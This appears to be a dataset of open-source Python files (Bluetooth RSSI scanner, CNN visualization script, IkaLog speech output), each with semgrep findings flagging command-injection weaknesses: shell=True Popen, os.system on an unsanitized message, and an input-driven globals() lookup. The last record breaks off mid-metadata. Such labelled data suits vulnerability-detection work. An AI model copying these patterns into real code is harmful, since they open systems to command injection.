"is_vendor": false,
"language": "Python",
"length_bytes": 2251,
"license": "MIT",
"license_type": "permissive",
"path": "/examples/bluetooth/proximity.py",
"provenance": "stack-edu-0054.json.gz:569346",
"repo_name": "datacentricdesign/wheelchair-design-platform",
"revision_date": 1677595148000,
"revision_id": "da3ea98fe5b32caa9d52e231a416f63beab9e2d8",
"snapshot_id": "a8b9ab925b00f8f254f3fe4de2a193e5d91fa042",
"src_encoding": "UTF-8",
"star_events_count": 7,
"url": "https://raw.githubusercontent.com/datacentricdesign/wheelchair-design-platform/da3ea98fe5b32caa9d52e231a416f63beab9e2d8/examples/bluetooth/proximity.py",
"visit_date": "2023-03-05T04:49:24.712097"
} | 3.25 | stackv2 | from subprocess import Popen, PIPE # Necessary modules
ready_for_rssi = False
command = "btmon" # command for scanning
uuid = "" # uuid of beacon to scan
threshold = 0 # threshold for proximity
"""-------------------------------------------------------
run function opens up a shell process and runs
command in it, capturing its stdout, one line at
a time.
-------------------------------------------------------"""
def run(command):
process = Popen(command, stdout=PIPE, shell=True)
while True:
line = process.stdout.readline().rstrip()
if not line:
break
yield line
"""-------------------------------------------------------
parse function checks to see if sub_string argument
is in input string, and if it is, returns false
-------------------------------------------------------"""
def parse(input_str, sub_str):
if sub_str in input_str:
return(True)
else:
return(False)
"""-------------------------------------------------------
remove rssi, and print it
-------------------------------------------------------"""
def get_rssi(input_str):
# splitting string at rssi
global ready_for_rssi
lhs, rhs = input_str.split("RSSI: ", 1)
print("Command: " + lhs + rhs)
rssi_value = rhs.split()[0] # Get first element of
# split string composed by elements between spaces
# of rhs string
print("RSSI: " + rssi_value)
ready_for_rssi = False
return(rssi_value)
"""-------------------------------------------------------
If file is the main one being run, call run function
and iterate over each stdout line. if line is of uuid
start looing for line with RSSI. Once its found, it
is retrieved, and it begins to look for uuid again
-------------------------------------------------------"""
if __name__ == "__main__":
for line in run(command):
if parse(str(line), str(uuid)) and not(ready_for_rssi):
ready_for_rssi = True
if ready_for_rssi and ("RSSI: " in str(line)):
rssi_value = get_rssi(str(line))
if(int(rssi_value) >= threshold):
print("You are within your threshold of the beacon!")
continue
elif ready_for_rssi and not ("RSSI: " in line):
continue
| 70 | 31.16 | 63 | 14 | 480 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_f3901ddbc60162ed_34c28bce", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 15, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/f3901ddbc60162ed.py", "start": {"line": 14, "col": 15, "offset": 467}, "end": {"line": 14, "col": 54, "offset": 506}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_f3901ddbc60162ed_05154233", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 49, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/f3901ddbc60162ed.py", "start": {"line": 14, "col": 49, "offset": 501}, "end": {"line": 14, "col": 53, "offset": 505}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
14,
14
] | [
14,
14
] | [
15,
49
] | [
54,
53
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess' functi... | [
7.5,
7.5
] | [
"LOW",
"HIGH"
] | [
"HIGH",
"LOW"
] | proximity.py | /examples/bluetooth/proximity.py | datacentricdesign/wheelchair-design-platform | MIT | |
2024-11-18T19:11:50.446868+00:00 | 1,609,520,116,000 | fe1fa2de13792a09ee317e1a450643dcc9be7f21 | 3 | {
"blob_id": "fe1fa2de13792a09ee317e1a450643dcc9be7f21",
"branch_name": "refs/heads/main",
"committer_date": 1609520116000,
"content_id": "580fdc8fc6aeaeeb2bc666eb87e9c357b38d71e3",
"detected_licenses": [
"MIT"
],
"directory_id": "db21579153245f5424f5a5b80a10b318291b8ebf",
"extension": "py",
"filename": "visualization_with_nn.py",
"fork_events_count": 0,
"gha_created_at": 1606947411000,
"gha_event_created_at": 1608048727000,
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 318006159,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 15677,
"license": "MIT",
"license_type": "permissive",
"path": "/code/visualization_with_nn.py",
"provenance": "stack-edu-0054.json.gz:569380",
"repo_name": "RobinMaas95/GTSRB_Visualization",
"revision_date": 1609520116000,
"revision_id": "fa837ff94e089a936ef4f4418970d262b35f70b6",
"snapshot_id": "f70bc1ed6c02d43a6ce17557e01c5c3b7d6bf091",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/RobinMaas95/GTSRB_Visualization/fa837ff94e089a936ef4f4418970d262b35f70b6/code/visualization_with_nn.py",
"visit_date": "2023-02-07T15:15:10.864048"
} | 2.5625 | stackv2 | """
Implementation of multiple visualization algorithms.
Uses the following repos:
- Repo: nn_interpretability
- Autor: hans66hsu
- URL: https://github.com/hans66hsu/nn_interpretability
- Repo:
- Author: Yuchi Ishikawa
- URL: https://github.com/yiskw713/SmoothGradCAMplusplus
"""
import argparse
import os
import sys
import warnings
from itertools import combinations
from pathlib import Path
CURRENT = os.path.dirname(os.path.abspath(__file__))
sys.path.append(str(Path(CURRENT).joinpath("pytorch_cnn_visualizations", "src")))
import numpy as np
import torch
from matplotlib import pyplot as plt
from model import LitModel
from nn_interpretability.interpretation.am.general_am import ActivationMaximization
from nn_interpretability.interpretation.saliency_map.saliency_map import SaliencyMap
from PIL import Image
from skimage.color import rgb2gray
from skimage.io import imsave
from SmoothGradCAMplusplus.cam import GradCAM, SmoothGradCAMpp
from SmoothGradCAMplusplus.utils.visualize import reverse_normalize, visualize
from torch.nn import functional as F
from torchvision import transforms
from torchvision.utils import save_image
from tqdm import tqdm
def parse_args(vis_list):
"""
Parses args
Parameters
----------
vis_list : str
Possible visualizations
Returns
-------
argsparse.Namespace
Namespace with all args
"""
# Handle args parsing
parser = argparse.ArgumentParser(description="Calls visualization algorithms")
parser.add_argument(
"--dest",
dest="dest",
metavar="Destination",
required=True,
type=str,
help="Destination path, subfolder structure will be restored",
)
parser.add_argument(
"--filetype",
dest="filetype",
metavar="Filetype",
type=str,
default="ppm",
help="File type of the images inside the subfolders (without '.'). By default 'ppm'",
)
parser.add_argument(
"--model",
metavar="Model",
dest="model",
type=str,
required=True,
help="Path to model file (.pt)",
)
parser.add_argument(
"--num",
metavar="Number Images",
dest="num_images",
type=int,
default=50,
help="How many images per folder should be (randomly) selected (default: 50)",
)
parser.add_argument(
"--src",
dest="src",
metavar="Source",
type=str,
help="Path to source directory, script runs over subfolders (default: current Directory)",
)
parser.add_argument(
"--vis",
metavar="Visualization",
dest="vis",
type=str,
help="Visualization algorithems that should be used (default: all). Choose from: "
+ str(vis_list),
)
parser.add_argument("--mean", dest="mean", nargs="+", required=True)
parser.add_argument("--std", dest="std", default=None, nargs="+", required=True)
args = parser.parse_args()
# Set source
if args.src is None:
Path(os.getcwd())
else:
Path(args.src)
# Set vis
args.vis = args.vis.split("/")
# Cast mean/std to floag
args.mean = [float(i) for i in args.mean]
args.std = [float(i) for i in args.std]
return args
def get_algo_combinations(algos: list) -> str:
"""
Creates String with all possible combinations of the implemented visualization algorithms
Parameters
----------
algos : list
List with all visualization algorithms
Returns
-------
str
All possible combinations
"""
subsets = []
for L in range(0, len(algos) + 1):
for subset in combinations(algos, L):
subsets.append(subset)
subsets_str = []
for combination in subsets:
if len(combination) > 0:
combination_str = ""
for el in combination:
combination_str += el if len(combination_str) == 0 else "/" + el
subsets_str.append(combination_str)
return subsets_str
def prep_image(org_image: str, mean: list, std: list) -> torch.Tensor:
"""
Prepares image. This includes the normalization and the transformation into a tensor
Parameters
----------
org_image : str
Path to original image
mean : list
List with mean values for the rgb channels
std : list
List with std values for rgb channels
Returns
-------
tensor
Prepared image tensor
"""
ex_image = Image.open(org_image)
normalize = transforms.Normalize(mean, std)
preprocess = transforms.Compose([transforms.ToTensor(), normalize])
tensor = preprocess(ex_image)
prep_img = tensor.unsqueeze(0)
return prep_img
def activation_maximation(
model: LitModel,
target_class: str,
org_image: torch.Tensor,
dest: str,
mean: list,
std: list,
device: str,
) -> None:
"""
Performs activation maximation for the passed class
Parameters
----------
model : LitModel
Model for activation maximation
target_class : str
Target class
org_image : torch.Tensor
Mean image of dataset
dest : str
Path to destination folder
mean : list
Mean values for all three channels of the train dataset
std : list
Mean values for all three channels of the train dataset
device : str
Device that should be used ('cpu'/'cuda')
"""
# Params
img_shape = (3, 48, 48)
lr = 0.001
reg_term = 1e-2
epochs = 1000
threshold = 0.995
# Random image as start
start_img = torch.rand((1, 3, 48, 48)).to(device)
mean_img = org_image # Mean was calculated in mean and passed as org_image
# Preprocess
normalize = transforms.Normalize(mean, std)
transforms.Compose([transforms.ToTensor(), normalize])
# Get Interpreter
interpretor = ActivationMaximization(
model=model,
classes=[],
preprocess=None,
input_size=img_shape,
start_img=start_img,
class_num=int(target_class),
lr=lr,
reg_term=reg_term,
class_mean=mean_img,
epochs=epochs,
threshold=threshold,
)
end_point = interpretor.interpret()
# Calc score
scores = model(end_point.to(device)).to(device)
prob = torch.nn.functional.softmax(scores, 1)[0][int(target_class)] * 100
print(f"Class {target_class}: {prob}")
# Restore Image (unnormalize)
x_restore = end_point.reshape(img_shape) * torch.tensor(std).view(
3, 1, 1
) + torch.tensor(mean).view(3, 1, 1)
image_restored = x_restore.permute(1, 2, 0)
# Save Image
image_dest = Path(dest).joinpath("activation_maximation", target_class)
image_dest.parent.mkdir(exist_ok=True, parents=True)
plt.imsave(f"{image_dest}.ppm", image_restored.numpy())
def salience_map(
model: LitModel,
_,
org_image: torch.tensor,
dest: str,
mean: list,
std: list,
device: str,
) -> None:
"""
Performs saliency map
Parameters
----------
model : LitModel
Model for activation maximation
target_class : _
Not needed
org_image : torch.Tensor
Mean image of dataset
dest : str
Path to destination folder
mean : list
Mean values for all three channels of the train dataset
std : list
Mean values for all three channels of the train dataset
device : str
Device that should be used ('cpu'/'cuda')
"""
# Prep image
prep_img = prep_image(org_image, mean, std)
prep_img = prep_img.to(device)
# Create SaliencyMap
interpretor = SaliencyMap(model, [], [48, 48], None)
# Creat Map
endpoint = interpretor.interpret(prep_img)
# Save map
image_dest = Path(dest).joinpath(
"heatmap_saliency", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
heatmap = 255 * endpoint.squeeze()
heatmap = heatmap.cpu()
heatmap = rgb2gray(heatmap)
grayscale_uint8 = heatmap.astype(np.uint8)
imsave(str(image_dest), grayscale_uint8)
# plt.imsave(str(image_dest), endpoint.cpu().squeeze(0), cmap="jet")
def grad_cam(
model: LitModel,
_,
org_image: torch.tensor,
dest: str,
mean: list,
std: list,
device: str,
) -> None:
"""
Performs GradCam
Parameters
----------
model : LitModel
Model for activation maximation
target_class : _
Not needed
org_image : torch.Tensor
Mean image of dataset
dest : str
Path to destination folder
mean : list
Mean values for all three channels of the train dataset
std : list
Mean values for all three channels of the train dataset
device : str
Device that should be used ('cpu'/'cuda')
"""
# Prep image
prep_img = prep_image(org_image, mean, std)
prep_img = prep_img.to(device)
# Create SmoothGradCAM
wrapped_model = GradCAM(model, model.features[13])
cam, _ = wrapped_model(prep_img)
img = reverse_normalize(prep_img)
# Create heatmap
_, _, H, W = img.shape
cam = F.interpolate(cam, size=(H, W), mode="bilinear", align_corners=False)
heatmap = 255 * cam.squeeze()
heatmap = heatmap.cpu()
# Save heatmap
image_dest = Path(dest).joinpath(
"heatmap_grad_cam", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
heatmap = rgb2gray(heatmap)
grayscale_uint8 = heatmap.astype(np.uint8)
imsave(image_dest, grayscale_uint8)
# Save image (overlay)
heatmap = visualize(img.cpu(), cam.cpu())
image_dest = Path(dest).joinpath(
"grad_cam", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
save_image(heatmap, str(image_dest))
def grad_cam_plus_plus(
model: LitModel,
_,
org_image: torch.tensor,
dest: str,
mean: list,
std: list,
device: str,
) -> None:
"""
Performs GradCam++
Parameters
----------
model : LitModel
Model for activation maximation
target_class : _
Not needed
org_image : torch.Tensor
Mean image of dataset
dest : str
Path to destination folder
mean : list
Mean values for all three channels of the train dataset
std : list
Mean values for all three channels of the train dataset
device : str
Device that should be used ('cpu'/'cuda')
"""
# Prep image
prep_img = prep_image(org_image, mean, std)
prep_img = prep_img.to(device)
# Create SmoothGradCAMpp
wrapped_model = SmoothGradCAMpp(
model, model.features[13], n_samples=25, stdev_spread=0.15
)
cam, _ = wrapped_model(prep_img)
img = reverse_normalize(prep_img)
# Create heatmap
_, _, H, W = img.shape
cam = F.interpolate(cam, size=(H, W), mode="bilinear", align_corners=False)
heatmap = 255 * cam.squeeze()
heatmap = heatmap.cpu()
# Save heatmap
image_dest = Path(dest).joinpath(
"heatmap_grad_cam_pp", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
heatmap = rgb2gray(heatmap)
grayscale_uint8 = heatmap.astype(np.uint8)
imsave(image_dest, grayscale_uint8)
# Save image (overlay)
heatmap = visualize(img.cpu(), cam.cpu())
image_dest = Path(dest).joinpath(
"grad_cam_pp", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
save_image(heatmap, str(image_dest))
def generate_mean_image(images: list, device: str) -> torch.tensor:
"""
Generates mean images based on passed images
Parameters
----------
images : list
List with image paths
device : str
'cpu' or 'cuda'
Returns
-------
torch.tensor
Mean image
"""
image_sum = torch.zeros(images[0].size())
for image in images:
image_sum += image
mean_image = (image_sum / len(images)).to(device)
mean_image = (mean_image - mean_image.min()) / (mean_image.max() - mean_image.min())
return mean_image.to(device)
def main(args, vis_to_function, device):
"""
Calls visualization method
Parameters
----------
args : argparse.namespace
Namespace with argumetns
vis_to_function : str
Target visualization method
device : str
'cpu' or 'cuda'
"""
# Load model
model = LitModel.load_from_checkpoint(
args.model,
mean=args.mean,
std=args.std,
train_dataset=None,
test_dataset=args.src,
)
model.to(device)
model.eval()
# Loop over all subfolders (label)
num_dir = len([x for x in Path(args.src).iterdir() if x.is_dir()])
for idx, directory in tqdm(
enumerate([x for x in Path(args.src).iterdir() if x.is_dir()]), total=num_dir
):
# Get target class
target_class = directory.name
# Select random images
files = [x for x in directory.glob(f"*.{args.filetype}") if x.is_file()]
# Run passed algos over the selected images
for algo in args.vis:
if algo == "Activation Maximation":
# Because AM acts on the complete class, we wont call the method on each image
# Instead of that, we create the class mean and pass that into the method
data_list = []
for image in files:
# Generate Tensors
prep_img = prep_image(image, args.mean, args.std)
data_list.append(prep_img)
class_mean_img = generate_mean_image(data_list, device).to(device)
activation_maximation(
model,
directory.name,
class_mean_img,
args.dest,
args.mean,
args.std,
device,
)
else:
for image in files:
globals()[vis_to_function.get(algo)](
model,
target_class,
image,
args.dest,
args.mean,
args.std,
device,
)
if __name__ == "__main__":
warnings.filterwarnings("ignore")
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
possible_algos = ["Activation Maximation", "Saliency", "GradCam", "GradCam++"]
vis_to_function = {
"GradCam": "grad_cam",
"GradCam++": "grad_cam_plus_plus",
"Saliency": "salience_map",
"Activation Maximation": "activation_maximation",
}
algo_combinations = get_algo_combinations(possible_algos)
args = parse_args(algo_combinations)
main(args, vis_to_function, device)
| 556 | 26.2 | 98 | 18 | 3,554 | python | [{"finding_id": "semgrep_rules.python.lang.security.dangerous-globals-use_7911f1683666d755_23297473", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-globals-use", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 533, "line_end": 533, "column_start": 21, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-globals-use", "path": "/tmp/tmpb8jm_z1l/7911f1683666d755.py", "start": {"line": 533, "col": 21, "offset": 14260}, "end": {"line": 533, "col": 57, "offset": 14296}, "extra": {"message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-96"
] | [
"rules.python.lang.security.dangerous-globals-use"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
533
] | [
533
] | [
21
] | [
57
] | [
"A03:2021 - Injection"
] | [
"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | visualization_with_nn.py | /code/visualization_with_nn.py | RobinMaas95/GTSRB_Visualization | MIT | |
2024-11-18T19:11:52.604000+00:00 | 1,466,075,427,000 | 35424c8147c33cbb94ba41f8afde589d6da9dda2 | 2 | {
"blob_id": "35424c8147c33cbb94ba41f8afde589d6da9dda2",
"branch_name": "refs/heads/master",
"committer_date": 1466075427000,
"content_id": "f1f0fcd57f85c2d456a8c49537392e4a19a0c564",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "66e4e79ef7d6265879bf4aeadbbaa988ebcf7881",
"extension": "py",
"filename": "say.py",
"fork_events_count": 0,
"gha_created_at": 1444306461000,
"gha_event_created_at": 1444306461000,
"gha_language": null,
"gha_license_id": null,
"github_id": 43886075,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2655,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/ikalog/outputs/osx/say.py",
"provenance": "stack-edu-0054.json.gz:569409",
"repo_name": "ExceptionError/IkaLog",
"revision_date": 1466075427000,
"revision_id": "afed2819644e455f0ae5359b836a8ae4182b4b51",
"snapshot_id": "53d917a4e4f92e2a2b7249cb85bda30d00a22dac",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/ExceptionError/IkaLog/afed2819644e455f0ae5359b836a8ae4182b4b51/ikalog/outputs/osx/say.py",
"visit_date": "2020-12-25T22:07:36.640144"
} | 2.34375 | stackv2 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# IkaLog
# ======
# Copyright (C) 2015 ExceptionError
# Copyright (C) 2015 Takeshi HASEGAWA
# Copyright (C) 2015 AIZAWA Hina
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
import threading
import time
from ikalog.constants import *
from ikalog.utils import *
class SayThread(object):
def worker_func(self):
while not self._shutdown:
if (len(self._msg_queue) == 0):
time.sleep(0.1)
continue
msg = self._msg_queue.pop(0)
# FixMe: sanitize the input
cmd = 'say ' + msg
os.system(cmd)
def queue_message(self, msg):
self._msg_queue.append(msg)
def __init__(self):
self._msg_queue = []
self._shutdown = False
self.worker_thread = threading.Thread(
target=self.worker_func, )
self.worker_thread.daemon = True
self.worker_thread.start()
class Say(object):
def __init__(self):
self._say_thread = SayThread()
def _say(self, text):
# print(text)
self._say_thread.queue_message(text)
def on_lobby_matching(self, context):
self._say('Awaiting at the lobby')
def on_lobby_matched(self, context):
self._say('The game will start very soon')
def on_game_start(self, context):
stage_text = IkaUtils.map2text(
context['game']['map'], unknown='Splatoon')
rule_text = IkaUtils.rule2text(context['game']['rule'], unknown='The')
self._say('%(rule)s game starts at %(stage)s' %
{'rule': rule_text, 'stage': stage_text})
def on_game_killed(self, context):
self._say('Splatted someone!')
def on_game_dead(self, context):
self._say('You were splatted!')
def on_game_death_reason_identified(self, context):
reason = context['game']['last_death_reason']
if reason in oob_reasons:
self._say('Out ob bound')
else:
weapon_text = weapons.get(reason, {}).get('en', reason)
self._say('%(weapon)s' % {'weapon': weapon_text})
| 90 | 28.5 | 78 | 16 | 649 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_6205b8f20cc47167_325198fa", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 17, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/6205b8f20cc47167.py", "start": {"line": 36, "col": 17, "offset": 984}, "end": {"line": 36, "col": 32, "offset": 999}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_6205b8f20cc47167_fb310c21", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 42, "line_end": 42, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/6205b8f20cc47167.py", "start": {"line": 42, "col": 13, "offset": 1150}, "end": {"line": 42, "col": 27, "offset": 1164}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
42
] | [
42
] | [
13
] | [
27
] | [
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | say.py | /ikalog/outputs/osx/say.py | ExceptionError/IkaLog | Apache-2.0 | |
2024-11-18T19:23:56.767731+00:00 | 1,412,296,764,000 | 4aa75caa976d1498bbc755b6c56690e983e0276c | 2 | {
"blob_id": "4aa75caa976d1498bbc755b6c56690e983e0276c",
"branch_name": "refs/heads/master",
"committer_date": 1412296764000,
"content_id": "909ba0c787abf8a896af084a044c7f6041ed28c7",
"detected_licenses": [
"MIT"
],
"directory_id": "0bd1542bdece22dfd1a51d67e5eb51597f820fb8",
"extension": "py",
"filename": "functions.py",
"fork_events_count": 0,
